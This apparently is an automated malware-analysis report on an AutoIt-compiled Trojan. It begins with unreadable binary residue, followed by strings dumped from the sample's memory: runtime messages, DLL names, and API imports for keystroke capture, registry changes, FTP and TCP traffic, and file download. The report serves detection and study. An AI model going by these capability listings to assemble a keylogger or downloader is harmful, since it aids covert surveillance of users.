zG....20161202044000Z....20161209035500Z0...*.H..............Ld...w........Q.q...).....o\C.2e<.}b.t.J....Ej.....|Uy%.T..d2........$b...It...W....6n..[yL.b.*..S..;c"..1s...<.......#.:#...^t.3..~.#.H.*%...."...R.mE....h.......( ..xmH..V`i.~d......W. ._..X...{...8.<...2....M.:.V....xh{a2.I....X...P%.V..j0d.........G....

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1760:

`.rsrc

%f;)s

s%j.Zf

tGHt.Ht&

ItCP

tCPh

SSSSh

Cv=kAv.SCvs

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.

uxtheme.dll

kernel32.dll

APPSKEY

ASC 0%d

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

erroffset passed as NULL

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N, \U, or \u

support for \P, \p, and \X has not been compiled

(*VERB) with an argument is not supported

ICMP.DLL

zcÃ

GetProcessHeap

CreatePipe

GetWindowsDirectoryW

GetCPInfo

GetConsoleOutputCP

RegDeleteKeyW

RegCreateKeyExW

RegEnumKeyExW

RegCloseKey

RegOpenKeyExW

SetViewportOrgEx

ShellExecuteExW

SHFileOperationW

ShellExecuteW

RegisterHotKey

GetKeyboardLayoutNameW

UnregisterHotKey

ExitWindowsEx

EnumThreadWindows

GetAsyncKeyState

SetKeyboardState

GetKeyboardState

GetKeyState

keybd_event

VkKeyScanA

GetKeyboardLayoutNameA

EnumWindows

EnumChildWindows

MapVirtualKeyW

CloseWindowStation

SetProcessWindowStation

OpenWindowStationW

InternetOpenUrlW

FtpOpenFileW

HttpQueryInfoW

HttpOpenRequestW

HttpSendRequestW

FtpGetFileSize

InternetCrackUrlW

.text

`.rdata

@.data

.rsrc

S.nBr

=TGm

FtpH|

version="3.0.0.0"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

KERNEL32.DLL

ADVAPI32.dll

COMCTL32.dll

COMDLG32.dll

GDI32.dll

MPR.dll

ole32.dll

OLEAUT32.dll

PSAPI.DLL

SHELL32.dll

USER32.dll

USERENV.dll

VERSION.dll

WININET.dll

WINMM.dll

WSOCK32.dll

mscoree.dll

CMDLINERAW

CMDLINE

/AutoIt3ExecuteLine

/AutoIt3ExecuteScript

%s (%d) : ==> %s.:

Line %d:

Line %d (File "%s"):

%s (%d) : ==> %s:

AutoIt script files (*.au3, *.a3x)

*.au3;*.a3x

All files (*.*)

04090000

%u.%u.%u.%u

0.0.0.0

Mddddd

FTPSETPROXY

GUICTRLRECVMSG

GUICTRLSENDMSG

GUIGETMSG

GUIREGISTERMSG

HOTKEYSET

HTTPSETPROXY

ISKEYWORD

MSGBOX

REGENUMKEY

SHELLEXECUTE

SHELLEXECUTEWAIT

TCPACCEPT

TCPCLOSESOCKET

TCPCONNECT

TCPLISTEN

TCPNAMETOIP

TCPRECV

TCPSEND

TCPSHUTDOWN

TCPSTARTUP

TRAYGETMSG

UDPBIND

UDPCLOSESOCKET

UDPOPEN

UDPRECV

UDPSEND

UDPSHUTDOWN

UDPSTARTUP

URLDOWNLOADTOFILE

%s (%d) : ==> %s:

\??\%s

GUI_RUNDEFMSG

FtpBinaryMode

SendKeyDelay

SendKeyDownDelay

TCPTimeout

AUTOITCALLVARIABLE%d

Keyword

AutoIt.Error

Null Object assignment in FOR..IN loop

Incorrect Object type in FOR..IN loop

HOTKEYPRESSED

AUTOITEXE

WINDOWSDIR

SOFTWARE\Microsoft\Windows\CurrentVersion

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

3, 3, 0, 0

HKEY_LOCAL_MACHINE

HKEY_CLASSES_ROOT

HKEY_CURRENT_CONFIG

HKEY_CURRENT_USER

HKEY_USERS

%d/d/d

c:\%original file name%.exe

C:\%original file name%.exe

AutoIt supports the __stdcall (WINAPI) and __cdecl calling conventions. The __stdcall (WINAPI) convention is used by default but __cdecl can be used instead. See the DllCall() documentation for details on changing the calling convention.

Missing operator in expression."Unbalanced brackets in expression.

Error parsing function call.0Incorrect number of parameters in function call.'"ReDim" used without an array variable.>Illegal text at the end of statement (one statement per line).1"If" statement has no matching "EndIf" statement.1"Else" statement with no matching "If" statement.2"EndIf" statement with no matching "If" statement.7Too many "Else" statements for matching "If" statement.3"While" statement has no matching "Wend" statement.4"Wend" statement with no matching "While" statement.%Variable used without being declared.XArray variable has incorrect number of subscripts or subscript dimension range exceeded.)Array variable subscript badly formatted.'Subscript used with non-Array variable.&Too many subscripts used for an array.0Missing subscript dimensions in "Dim" statement.NNo variable given for "Dim", "Local", "Global", "Struct" or "Const" statement.0Expected a "=" operator in assignment statement.*Invalid keyword at the start of this line.

*Unable to get a list of running processes.*Missing separator character after keyword.

Invalid element in a DllStruct.*Unknown option or bad parameter specified.&Unable to load the internet libraries./"Struct" statement has no matching "EndStruct".HUnable to open file, the maximum number of open files has been exceeded.

Invalid file filter given.*Expected a variable in user function call.1"Do" statement has no matching "Until" statement.2"Until" statement with no matching "Do" statement.#"For" statement is badly formatted.2"Next" statement with no matching "For" statement.N"ExitLoop/ContinueLoop" statements only valid from inside a For/Do/While loop.1"For" statement has no matching "Next" statement.@"Case" statement with no matching "Select"or "Switch" statement.:"EndSelect" statement with no matching "Select" statement.ORecursion level has been exceeded - AutoIt will quit to prevent stack overflow.

Badly formated Enum statement!Badly formated variable or macro.3This keyword cannot be used after a "Then" keyword.

>"Select" statement is missing "EndSelect" or "Case" statement. "If" statements must have a "Then" keyword. Badly formated Struct statement."Cannot assign values to constants..Cannot make existing variables into constants.9Only Object-type variables allowed in a "With" statement.v"long_ptr", "int_ptr" and "short_ptr" DllCall() types have been deprecated. Use "long*", "int*" and "short*" instead.-Object referenced outside a "With" statement.)Nested "With" statements are not allowed."Variable must be of type "Object".1The requested action with this object has failed.8Variable appears more than once in function declaration.2ReDim array can not be initialized in this manner.1An array variable can not be used in this manner.

HCan pass constants by reference only to parameters with "Const" keyword.*Can not initialize a variable with itself.$Incorrect way to use this parameter.:"EndSwitch" statement with no matching "Switch" statement.>"Switch" statement is missing "EndSwitch" or "Case" statement.H"ContinueCase" statement with no matching "Select"or "Switch" statement.

%original file name%.exe_1760_rwx_00401000_000AA000: